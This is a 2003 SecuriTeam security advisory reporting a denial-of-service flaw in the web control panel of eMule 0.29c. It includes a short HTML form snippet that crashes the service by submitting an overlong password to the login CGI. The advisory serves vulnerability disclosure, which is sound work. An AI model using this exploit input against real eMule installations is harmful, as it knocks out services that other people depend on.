[NT] eMule's Web Control Panel Vulnerable to DoS (Long Password)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/23/03

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Date: 23 Oct 2003 17:38:29 +0200

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      eMule's Web Control Panel Vulnerable to DoS (Long Password)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.emule-project.net/index.php?s=home> eMule is "a new
    filesharing client which is based on the eDonkey2000 network, but offers
    more features than the standard eDonkey client, because it's open source
    but under the restrictions of the GPL License".

    A vulnerability in eMule's web based Control Panel allows remote attackers
    to cause a denial of service against the product.

    DETAILS

    Vulnerable systems:
     * eMule version 2.2 [0.29c]

    By posting a very long arbitrary password request to the "login" CGI, it
    is possible to cause a denial of service against eMule (NOTE: The Control
    Panel is not enabled by default).

    Exploit:
    Adding after this line:
    < form action="" method="POST" name="login">
    This:
    < input type="password" name=p size=37 value="a[multiple 'a']a">
    < input type="hidden" name=w value="password">
    < br>
    < br>
    < input type=submit value="Login Now"></font>
    </form>

    Will allow you to trigger the bug.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nuritrv18_@_bezeqint.net>
    The-Insider.

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